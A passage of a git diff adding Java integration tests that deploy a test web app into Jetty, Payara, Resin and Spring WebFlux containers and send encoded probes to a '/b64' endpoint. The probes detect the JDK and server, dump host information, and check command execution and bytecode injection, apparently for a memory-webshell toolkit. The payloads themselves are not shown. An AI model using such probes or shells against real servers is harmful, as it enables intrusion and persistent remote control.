+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.JETTY, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_7);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_7);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty92ContainerTest.java

@@ -0,0 +1,79 @@
+package com.reajason.javaweb.integration.probe.jetty;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import com.reajason.javaweb.probe.payload.response.JettyWriter;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import okhttp3.*;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.getUrl;
+import static com.reajason.javaweb.integration.ContainerTool.warFile;
+import static org.hamcrest.CoreMatchers.anyOf;
+import static org.hamcrest.CoreMatchers.containsString;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/7
+ */
+@Slf4j
+@Testcontainers
+public class Jetty92ContainerTest {
+
+    public static final String imageName = "jetty:9.2-jre7";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JRE|1.7.0_221|51", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.JETTY, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_7);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_7);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty93ContainerTest.java

@@ -0,0 +1,78 @@
+package com.reajason.javaweb.integration.probe.jetty;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import com.reajason.javaweb.probe.payload.response.JettyWriter;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import okhttp3.*;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.CoreMatchers.anyOf;
+import static org.hamcrest.CoreMatchers.containsString;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/7
+ */
+@Slf4j
+@Testcontainers
+public class Jetty93ContainerTest {
+    public static final String imageName = "reajason/jetty:9.3";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.8.0_342|52", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.JETTY, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_8);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_8);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty94ContainerTest.java

@@ -0,0 +1,78 @@
+package com.reajason.javaweb.integration.probe.jetty;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import com.reajason.javaweb.probe.payload.response.JettyWriter;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import okhttp3.*;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.CoreMatchers.anyOf;
+import static org.hamcrest.CoreMatchers.containsString;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/7
+ */
+@Slf4j
+@Testcontainers
+public class Jetty94ContainerTest {
+    public static final String imageName = "jetty:9.4-jre8";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JRE|1.8.0_442|52", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.JETTY, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_8);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_8);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara5201ContainerTest.java

@@ -0,0 +1,80 @@
+package com.reajason.javaweb.integration.probe.payara;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.Opcodes;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/12
+ */
+@Slf4j
+@Testcontainers
+public class Payara5201ContainerTest {
+    public static final String imageName = "reajason/payara:5.201";
+    @Container
+    public static final GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war")
+            .waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
+            .withExposedPorts(8080);
+
+    @AfterAll
+    public static void tearDown() {
+        System.out.println(container.getLogs());
+    }
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.8.0_151|52", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.GLASSFISH, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara520225ContainerTest.java

@@ -0,0 +1,74 @@
+package com.reajason.javaweb.integration.probe.payara;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.Opcodes;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/12
+ */
+@Slf4j
+@Testcontainers
+public class Payara520225ContainerTest {
+    public static final String imageName = "reajason/payara:5.2022.5";
+    @Container
+    public static final GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war")
+            .waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.8.0_432|52", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.GLASSFISH, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara620222ContainerTest.java

@@ -0,0 +1,75 @@
+package com.reajason.javaweb.integration.probe.payara;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.Opcodes;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/12
+ */
+@Slf4j
+@Testcontainers
+public class Payara620222ContainerTest {
+    public static final String imageName = "reajason/payara:6.2022.2-jdk11";
+
+    @Container
+    public static final GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warJakartaFile, "/usr/local/payara6/glassfish/domains/domain1/autodeploy/app.war")
+            .waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|11.0.25|55", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.GLASSFISH, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V11);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V11);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin3116ContainerTest.java

@@ -0,0 +1,74 @@
+package com.reajason.javaweb.integration.probe.resin;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/4
+ */
+@Slf4j
+@Testcontainers
+public class Resin3116ContainerTest {
+    public static final String imageName = "reajason/resin:3.1.16";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/usr/local/resin3/webapps/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.8.0_342|52", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.RESIN, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.RESIN, Opcodes.V1_8);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.RESIN, Opcodes.V1_8);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin318ContainerTest.java

@@ -0,0 +1,74 @@
+package com.reajason.javaweb.integration.probe.resin;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/4
+ */
+@Slf4j
+@Testcontainers
+public class Resin318ContainerTest {
+    public static final String imageName = "reajason/resin:3.1.8-jdk7";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/usr/local/resin3/webapps/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.7.0_17|51", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.RESIN, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.RESIN, Opcodes.V1_7);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.RESIN, Opcodes.V1_7);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4058ContainerTest.java

@@ -0,0 +1,74 @@
+package com.reajason.javaweb.integration.probe.resin;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/4
+ */
+@Slf4j
+@Testcontainers
+public class Resin4058ContainerTest {
+    public static final String imageName = "reajason/resin:4.0.58";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/usr/local/resin4/webapps/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.8.0_342|52", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.RESIN, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.RESIN, Opcodes.V1_8);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.RESIN, Opcodes.V1_8);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4067ContainerTest.java

@@ -0,0 +1,73 @@
+package com.reajason.javaweb.integration.probe.resin;
+
+import com.reajason.javaweb.Constants;
+import com.reajason.javaweb.integration.ProbeAssertion;
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.getUrl;
+import static com.reajason.javaweb.integration.ContainerTool.warFile;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/4
+ */
+@Slf4j
+@Testcontainers
+public class Resin4067ContainerTest {
+    public static final String imageName = "reajason/resin:4.0.67-jdk11";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(imageName)
+            .withCopyToContainer(warFile, "/usr/local/resin4/webapps/app.war")
+            .waitingFor(Wait.forHttp("/app"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|11.0.16|55", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrl(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Constants.Server.RESIN, data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testCommandReqHeaderResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseCommandIsOk(url, Constants.Server.RESIN, Opcodes.V11);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBytecodeReqParamResponseBody() {
+        String url = getUrl(container);
+        ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.RESIN, Opcodes.V11);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot2WebFluxContainerTest.java

@@ -0,0 +1,58 @@
+package com.reajason.javaweb.integration.probe.springwebflux;
+
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.images.builder.ImageFromDockerfile;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/22
+ */
+@Testcontainers
+@Slf4j
+public class SpringBoot2WebFluxContainerTest {
+    public static final String imageName = "springboot2-webflux";
+    @Container
+    public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
+            .withDockerfile(springBoot2WebfluxDockerfile))
+            .waitingFor(Wait.forHttp("/test"))
+            .withExposedPorts(8080);
+
+    @Test
+    void testJDK() {
+        String url = getUrlFromSpringBoot(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
+        assertEquals("JDK|1.8.0_342|52", data);
+    }
+
+    @Test
+    @SneakyThrows
+    void testBasicInfo() {
+        String url = getUrlFromSpringBoot(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
+        Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
+    }
+
+    @Test
+    void testServerDetection() {
+        String url = getUrlFromSpringBoot(container);
+        String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
+        assertEquals(Server.SpringWebFlux.name(), data);
+    }
+}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot3WebFluxContainerTest.java

@@ -0,0 +1,58 @@
+package com.reajason.javaweb.integration.probe.springwebflux;
+
+import com.reajason.javaweb.integration.VulTool;
+import com.reajason.javaweb.integration.probe.DetectionTool;
+import com.reajason.javaweb.memshell.Server;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.junit.jupiter.api.Test;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.containers.wait.strategy.Wait;
+import org.testcontainers.images.builder.ImageFromDockerfile;
+import org.testcontainers.junit.jupiter.Container;
+import org.testcontainers.junit.jupiter.Testcontainers;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+import static com.reajason.javaweb.integration.ContainerTool.*;
